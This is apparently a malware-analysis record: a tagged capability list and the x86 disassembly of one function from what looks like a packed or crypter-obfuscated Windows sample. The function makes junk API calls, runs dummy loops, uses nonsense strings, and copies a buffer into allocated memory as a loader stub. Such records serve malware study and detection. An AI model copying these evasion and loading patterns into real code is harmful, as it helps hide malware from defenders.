Function at 0x40a940
Capabilities:
Connect pipe
Get common file path
Get geographical location
Identify system language via api
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40bf8b
mov eax, dword fs:[0]
push eax
sub esp, 0x878
mov eax, dword [0x80f07c]
xor eax, esp
mov dword [esp + 0x870], eax
push ebx
push esi
push edi
mov eax, dword [0x80f07c]
xor eax, esp
push eax
lea eax, [esp + 0x888]
mov dword fs:[0], eax
mov edx, dword [0x2f364e4]
xor ebx, ebx
cmp edx, 0x7c
jne 0x40aa0a
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x2f364e4], 0x2d
jne 0x40a9e5
push ebx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call fcn.00401de4
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
call fcn.00401120
mov edx, dword [0x2f364e4]
mov ecx, dword [0x810d80]
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40aa24
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40aa3c
mov dword [0x8120c0], esi
mov dword [0x8120c4], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40aa17
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2f364e4], edx
xor esi, esi
cmp esi, 0x562d05
jne 0x40aa64
mov eax, dword [0x810d74]
mov dword [0x2f3686c], eax
cmp edx, 0x3c
jne 0x40aa72
push ebx
call edi
mov edx, dword [0x2f364e4]
inc esi
cmp esi, 0x5f6c74
jl 0x40aa52
cmp edx, 0x110a
jne 0x40ab81
push ebx
mov dword [0x2f364d8], ebx
mov dword [0x2f364dc], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.roniyabacunaruta
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
call fcn.00401b71
mov edi, 7
xor ecx, ecx
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x38]
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], ebx
mov word [esp + 0x38], cx
call fcn.00401180
push str.0__s__d__f
mov dword [esp + 0x894], ebx
call fcn.00401c82
add esp, 4
push ebx
call fcn.00401b71
xor edx, edx
add esp, 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], dx
call fcn.00401180
push ebx
call fcn.00401b71
add esp, 4
push 0x80d310
push 0x811bc0
call fcn.0040164c
push ebx
call fcn.00401dc2
mov esi, 8
add esp, 0xc
cmp dword [esp + 0x30], esi
jb 0x40ab54
mov eax, dword [esp + 0x1c]
push eax
call fcn.00401dd9
add esp, 4
xor ecx, ecx
mov dword [esp + 0x890], 0xffffffff
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], cx
cmp dword [esp + 0x4c], esi
jb 0x40ab81
mov edx, dword [esp + 0x38]
push edx
call fcn.00401dd9
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2f364e4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2f3620c], eax
cmp dword [0x2f364e4], ebx
jbe 0x40abed
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov edi, edi
mov ecx, dword [0x2f3686c]
mov dword [esp + 0x1c], ecx
mov eax, 0xa231
add dword [esp + 0x1c], eax
mov edx, dword [esp + 0x1c]
mov al, byte [edx + esi]
mov ecx, dword [0x2f3620c]
mov byte [ecx + esi], al
cmp dword [0x2f364e4], 0x5ab
jne 0x40abe4
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2f364e4]
jb 0x40abb0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call esi
call fcn.0040a660
mov eax, dword [0x2f364e4]
mov edx, dword [0x2f3620c]
mov edi, dword [0x80ff60]
mov ebx, eax
mov dword [esp + 0x18], edx
cmp eax, 0x930
jne 0x40ac2a
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2f364e4]
mov dword [0x2f36208], edi
cmp eax, 0x114e
jne 0x40ac4e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call esi
mov eax, dword [0x2f364e4]
cmp eax, 0x2f
jne 0x40ac84
xor edx, edx
lea ecx, [esp + 0x1c]
push ecx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push 0
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov edi, ebx
mov ebx, dword [esp + 0x18]
call fcn.0040a7b0
add dword [0x2f3620c], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea eax, [esp + 0x54]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40acca
cmp dword [esp + 0x5c], 0xf5bed7
jne 0x40acd3
inc esi
cmp esi, 0x1ece7a52
jl 0x40aca7
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], 0x1519a5
mov ebx, 0x8e46a6f0
lea esp, [esp]
cmp dword [0x2f364e4], 0xcc1
jne 0x40ad00
push 0
call edi
cmp dword [0x2f364e4], 0x3dc
mov dword [0x2f364e0], ebx
jne 0x40ad25
push 0
push 0
push 0
push 0
push 0
push 0
push str.tapaxokikejuhovurodisobuw
call esi
dec dword [esp + 0x14]
jne 0x40acf0
mov ecx, dword [esp + 0x888]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x870]
xor ecx, esp
call fcn.0040163d
mov esp, ebp
pop ebp
ret